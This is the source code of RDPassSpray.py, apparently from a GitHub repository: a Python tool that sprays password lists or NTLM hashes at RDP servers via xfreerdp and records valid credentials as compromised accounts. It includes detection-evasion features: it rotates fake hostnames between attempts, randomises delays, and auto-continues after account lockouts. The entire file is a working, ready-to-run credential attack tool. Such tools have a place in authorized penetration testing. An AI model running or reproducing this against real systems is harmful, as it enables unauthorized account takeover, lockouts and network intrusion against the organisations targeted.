-
Notifications
You must be signed in to change notification settings - Fork 244
/
RDPassSpray.py
439 lines (387 loc) · 20 KB
/
RDPassSpray.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
# Based on the research and POC made by Beau Bullock (@dafthack),
# https://github.com/dafthack/RDPSpray This version was written by @x_Freed0m tested with Kali
# linux against 2012 DC escape chars in password with \ - e.g P\@ssword\!\#
# version 0.2
import argparse
import csv
import datetime
import logging
import socket
import subprocess
import sys
import time
from random import randint
from select import select
from colorlog import ColoredFormatter
LOGGER = None
def args_parse():
parser = argparse.ArgumentParser()
pass_group = parser.add_mutually_exclusive_group(required=True)
user_group = parser.add_mutually_exclusive_group(required=True)
target_group = parser.add_mutually_exclusive_group(required=True)
sleep_group = parser.add_mutually_exclusive_group(required=False)
user_group.add_argument('-U', '--userlist', help="Users list to use, one user per line")
user_group.add_argument('-u', '--user', help="Single user to use")
pass_group.add_argument('-p', '--password', help="Single password/hash to use")
pass_group.add_argument('-P', '--passwordlist',
help="Password/Hash list to use, one password per line")
target_group.add_argument('-T', '--targetlist', help="Targets list to use, one target per line")
target_group.add_argument('-t', '--target', help="Target machine to authenticate against")
sleep_group.add_argument('-s', '--sleep', type=int,
help="Throttle the attempts to one attempt every # seconds, "
"can be randomized by passing the value 'random' - default is 0",
default=0)
sleep_group.add_argument('-r', '--random', nargs=2, type=int, metavar=(
'minimum_sleep', 'maximum_sleep'), help="Randomize the time between each authentication "
"attempt. Please provide minimun and maximum "
"values in seconds")
parser.add_argument('-d', '--domain', help="Domain name to use")
parser.add_argument('-n', '--names',
help="Hostnames list to use as the source hostnames, one per line")
parser.add_argument('--keephostname', help="Do not change the hostname between attempts",
action="store_true", default=False)
parser.add_argument('-o', '--output', help="Output each attempt result to a csv file",
default="RDPassSpray")
parser.add_argument('--pth', help="Treat passwords as hashes for Pass-The-Hash",
action="store_true", default=False)
parser.add_argument('-V', '--verbose', help="Turn on verbosity to show failed "
"attempts", action="store_true", default=False)
return parser.parse_args()
def configure_logger(verbose): # This function is responsible to configure logging object.
global LOGGER
LOGGER = logging.getLogger("RDPassSpray")
# Set logging level
try:
if verbose:
LOGGER.setLevel(logging.DEBUG)
else:
LOGGER.setLevel(logging.INFO)
except Exception as logger_err:
exception(logger_err)
# Create console handler
log_colors = {
'DEBUG': 'bold_red',
'INFO': 'green',
'WARNING': 'yellow',
'ERROR': 'red',
'CRITICAL': 'red',
}
formatter = "%(log_color)s[%(asctime)s] - %(message)s%(reset)s"
formatter = ColoredFormatter(formatter, datefmt='%d-%m-%Y %H:%M', log_colors=log_colors)
ch = logging.StreamHandler(sys.stdout)
ch.setFormatter(formatter)
LOGGER.addHandler(ch)
# Create log-file handler
log_filename = "RDPassSpray." + datetime.datetime.now().strftime('%d-%m-%Y') + '.log'
fh = logging.FileHandler(filename=log_filename, mode='a')
fh.setLevel(logging.DEBUG)
fh.setFormatter(formatter)
LOGGER.addHandler(fh)
def orig_hostname(): # saving the original hostname to revert to
global orighostname
orighostname = socket.gethostname()
return orighostname
def exception(incoming_err):
LOGGER.critical("[!] Exception: " + str(incoming_err))
LOGGER.info('[*] Resetting to the original hostname')
subprocess.call("hostnamectl set-hostname '%s'" % orighostname, shell=True)
exit(1)
def userlist(incoming_userlist):
with open(incoming_userlist) as f:
usernames = f.readlines()
generated_usernames_stripped = [incoming_userlist.strip() for incoming_userlist in usernames]
return generated_usernames_stripped
def passwordlist(incoming_passwordlist):
with open(incoming_passwordlist) as pass_obj:
return [p.strip() for p in pass_obj.readlines()]
def targetlist(incoming_targetlist):
with open(incoming_targetlist) as target_obj:
return [p.strip() for p in target_obj.readlines()]
def fake_hostnames(hostnames_list):
with open(hostnames_list) as f:
hostnames = f.readlines()
fake_hostnames_stripped = [hostname.strip() for hostname in hostnames]
generated_hostname_counter = 0
hostname_looper = len(fake_hostnames_stripped) - 1
return fake_hostnames_stripped, generated_hostname_counter, hostname_looper
def output(status, username, password, target, output_file_name):
try:
with open(output_file_name + ".csv", mode='a') as log_file:
creds_writer = csv.writer(log_file, delimiter=',', quotechar='"')
creds_writer.writerow([status, username, password, target])
except Exception as output_err:
exception(output_err)
def locked_input(question, possible_answer, default_ans, timeout=5): # asking the user if to
# proceed when a locked user is identified, to prevent further lockouts
LOGGER.warning('%s(%s):' % (question, possible_answer))
rlist, _, _ = select([sys.stdin], [], [], timeout)
if rlist:
return sys.stdin.readline().strip()
return default_ans
def attempts(users, passes, targets, domain, output_file_name, hostnames_stripped, sleep_time,
hostname_loop, random, min_sleep, max_sleep, verbose, pass_the_hash, keep_hostname):
# xfreerdp response status codes:
# failed_login = b"ERRCONNECT_LOGON_FAILURE [0x00020014]"
# access_denied = b"ERRCONNECT_AUTHENTICATION_FAILED [0x00020009]"
# success_login_no_rdp = b"ERRCONNECT_CONNECT_TRANSPORT_FAILED [0x0002000D]"
# success_login_no_rdp2 = b"ERRINFO_SERVER_INSUFFICIENT_PRIVILEGES (0x00000009)"
# pass_expired = b"ERRCONNECT_PASSWORD_EXPIRED [0x0002000E]"
# pass_expired2 = b"ERRCONNECT_PASSWORD_CERTAINLY_EXPIRED [0x0002000F]"
# pass_expired3 = b"ERRCONNECT_PASSWORD_MUST_CHANGE [0x00020013]"
success_login_yes_rdp = b"Authentication only, exit status 0"
account_locked = b"ERRCONNECT_ACCOUNT_LOCKED_OUT"
account_disabled = b"ERRCONNECT_ACCOUNT_DISABLED [0x00020012]"
account_expired = b"ERRCONNECT_ACCOUNT_EXPIRED [0x00020019]"
dns_name_not_found = b"ERRCONNECT_DNS_NAME_NOT_FOUND"
success_login_no_rdp = [b'0x0002000D', b'0x00000009']
failed_to_conn_to_server = [b'0x0002000C', b'0x00020006']
pass_expired = [b'0x0002000E', b'0x0002000F', b'0x00020013']
failed_login = [b'0x00020009', b'0x00020014']
attempts_hostname_counter = 0
working_creds_counter = 0
try:
LOGGER.info(
"[*] Started running at: %s" % datetime.datetime.now().strftime('%d-%m-%Y %H:%M:%S'))
output('Status', 'Username', 'Password', 'Target', output_file_name)
for target in targets:
test_RDP = subprocess.Popen("xfreerdp /v:'%s' +auth-only /d:%s /u:%s /p:\"%s\"" "/sec:nla"
" /cert-ignore" % (target, domain, "SOCtest",
"AllLegitHere"), stdout=subprocess.PIPE,
stderr=subprocess.PIPE, shell=True)
test_RDP_error = test_RDP.stderr.read()
if any(word in test_RDP_error for word in failed_to_conn_to_server):
LOGGER.error(
"[-] Failed to establish connection, check %s RDP availability." %
target)
if not keep_hostname:
LOGGER.info('[*] Resetting to the original hostname')
subprocess.call("hostnamectl set-hostname '%s'" % orighostname, shell=True)
else:
for password in passes:
for username in users:
if not keep_hostname:
subprocess.call(
"hostnamectl set-hostname '%s'" % hostnames_stripped[
attempts_hostname_counter],
shell=True)
command = [
"xfreerdp",
"/v:%s" % target,
"+auth-only",
"/d:%s" % domain,
"/u:%s" % username,
"/sec:nla",
"/cert-ignore"
]
if pass_the_hash:
command.append("/p:") # /p is needed for +auth-only, even with /pth
command.append("/pth:%s" % password)
else:
command.append("/p:%s" % password)
spray = subprocess.Popen(command, stdout=subprocess.PIPE,
stderr=subprocess.PIPE)
output_error = spray.stderr.read()
output_info = spray.stdout.read()
# throttling requests
if random is True:
sleep_time = random_time(min_sleep, max_sleep)
time.sleep(float(sleep_time))
else:
time.sleep(float(sleep_time))
if any(word in output_error for word in failed_to_conn_to_server):
LOGGER.error(
"[-] Failed to establish connection, check %s RDP availability." %
target)
LOGGER.info('[*] Resetting to the original hostname')
subprocess.call("hostnamectl set-hostname '%s'" % orighostname,
shell=True)
# exit(1)
elif any(word in output_error for word in failed_login):
status = 'Invalid'
if verbose:
output(status, username, password, target, output_file_name)
LOGGER.debug("[-] Creds failed for: " + username)
elif any(word in output_error for word in failed_login):
status = 'DNS name not found'
output(status, username, password, target, output_file_name)
LOGGER.warning("[!] DNS name not found for: " + target)
elif account_locked in output_error:
status = 'Locked'
output(status, username, password, target, output_file_name)
LOGGER.warning("[!] Account locked: " + username)
answer = locked_input('%s is Locked, do you wish to resume? (will '
'auto-continue without answer)' % username, 'Y/n',
'y').lower()
if answer == 'n':
LOGGER.error("Stopping the tool")
LOGGER.info('[*] Resetting to the original hostname')
subprocess.call("hostnamectl set-hostname '%s'" % orighostname,
shell=True)
exit(1)
elif account_disabled in output_error:
status = 'Disabled'
output(status, username, password, target, output_file_name)
working_creds_counter += 1
LOGGER.warning(
"[*] Creds valid, but account disabled: " + username + " :: "
+ password + ' @' + target)
elif any(word in output_error for word in pass_expired):
status = 'Password Expired'
output(status, username, password, target, output_file_name)
working_creds_counter += 1
LOGGER.warning(
"[*] Creds valid, but pass expired: " + username + " :: " +
password + ' @' + target)
elif account_expired in output_error:
status = 'Account expired'
output(status, username, password, target, output_file_name)
working_creds_counter += 1
LOGGER.warning(
"[*] Creds valid, but account expired: " + username + " :: "
+ password + ' @' + target )
elif any(word in output_error for word in success_login_no_rdp):
status = 'Valid creds WITHOUT RDP access'
output(status, username, password, target, output_file_name)
working_creds_counter += 1
LOGGER.info(
"[+] Seems like the creds are valid, but no RDP permissions: "
+ username + " :: " + password + ' @' + target)
elif success_login_yes_rdp in output_error:
status = 'Valid creds WITH RDP access (maybe even local admin!)'
output(status, username, password, target, output_file_name)
working_creds_counter += 1
LOGGER.info(
"[+] Cred successful (maybe even Admin access!): " + username +
" :: " + password + ' @' + target )
else:
status = 'Unknown status, check the log file'
output(status, username, password, target, output_file_name)
with open(output_file_name + ".log", mode='a') as log_file2:
creds_writer = csv.writer(log_file2, delimiter=',', quotechar='"')
creds_writer.writerow(
['Unknown status, check the csv file', username,
output_error + output_info])
LOGGER.error("[-]Unknown error for %s: on:%s | %s %s", username, target,
output_error,
str(output_info))
# going over different fake hostnames
if attempts_hostname_counter < hostname_loop:
attempts_hostname_counter += 1
else:
attempts_hostname_counter = 0
LOGGER.info("[*] Overall compromised accounts: %s" % working_creds_counter)
LOGGER.info(
"[*] Finished running at: %s" % datetime.datetime.now().strftime('%d-%m-%Y %H:%M:%S'))
if not keep_hostname:
subprocess.call("hostnamectl set-hostname '%s'" % orighostname, shell=True)
except Exception as attempt_err:
exception(attempt_err)
except KeyboardInterrupt:
LOGGER.critical("[!] [CTRL+C] Stopping the tool")
if not keep_hostname:
LOGGER.info('[*] Resetting to the original hostname')
subprocess.call("hostnamectl set-hostname '%s'" % orighostname, shell=True)
exit(1)
def apt_get_xfreerdp():
try:
ver = subprocess.Popen("xfreerdp /version", stdout=subprocess.PIPE, stderr=subprocess.PIPE,
shell=True)
xfreerdp_version_output = ver.stdout.read()
xfreerdp_stderr = ver.stderr.read()
if b'This is FreeRDP ' in xfreerdp_version_output:
return 0
if b'failed to open display' in xfreerdp_version_output:
LOGGER.error("[-] Please check that the $DISPLAY environment variable is properly set.")
sys.exit(1)
else:
LOGGER.error("[-] xfreerdp wasn't identified. please run 'apt-get install xfreerdp'")
sys.exit(1)
except Exception as xfreerdp_err:
exception(xfreerdp_err)
except KeyboardInterrupt:
LOGGER.critical(" [CTRL+C] Stopping the tool")
LOGGER.info('[*] Resetting to the original hostname')
subprocess.call("hostnamectl set-hostname '%s'" % orighostname, shell=True)
exit(1)
def random_time(minimum, maximum):
sleep_amount = randint(minimum, maximum)
return sleep_amount
def logo():
"""
###### ###### ###### #####
# # # # # # ## #### #### # # ##### ##### ## # #
# # # # # # # # # # # # # # # # # # #
###### # # ###### # # #### #### ##### # # # # # # #
# # # # # ###### # # # ##### ##### ###### #
# # # # # # # # # # # # # # # # # # #
# # ###### # # # #### #### ##### # # # # # #
\n
By @x_Freed0m
"""
def main():
logo()
random, pass_the_hash = False, False
min_sleep, max_sleep = 0, 0
usernames_stripped, passwords_stripped, targets_stripped = [], [], []
args = args_parse()
configure_logger(args.verbose)
orig_hostname()
apt_get_xfreerdp()
if args.userlist:
try:
usernames_stripped = userlist(args.userlist)
except Exception as err:
exception(err)
elif args.user:
try:
usernames_stripped = [args.user]
except Exception as err:
exception(err)
if args.password:
try:
passwords_stripped = [args.password]
except Exception as err:
exception(err)
elif args.passwordlist:
try:
passwords_stripped = passwordlist(args.passwordlist)
except Exception as err:
exception(err)
if args.target:
try:
targets_stripped = [args.target]
except Exception as err:
exception(err)
elif args.targetlist:
try:
targets_stripped = targetlist(args.targetlist)
except Exception as err:
exception(err)
if args.random:
random = True
min_sleep = args.random[0]
max_sleep = args.random[1]
if args.names:
hostnames_stripped = []
try:
hostnames_stripped, k, hostname_loop = fake_hostnames(args.names)
except Exception as err:
exception(err)
else:
hostnames_stripped = orig_hostname()
hostname_loop = len(hostnames_stripped) - 1
total_accounts = len(usernames_stripped)
total_passwords = len(passwords_stripped)
total_attempts = total_accounts * total_passwords
LOGGER.info("Total number of users to test: " + str(total_accounts))
LOGGER.info("Total number of passwords to test: " + str(total_passwords))
LOGGER.info("Total number of attempts: " + str(total_attempts))
attempts(usernames_stripped, passwords_stripped, targets_stripped, args.domain, args.output,
hostnames_stripped, args.sleep, hostname_loop, random, min_sleep, max_sleep,
args.verbose, args.pth, args.keephostname)
if __name__ == '__main__':
main()
# TODO: replace shell commands with better alternative
# TODO: get more status codes
# TODO: maybe add threads for speed?
# TODO: check ability to support hash instead of password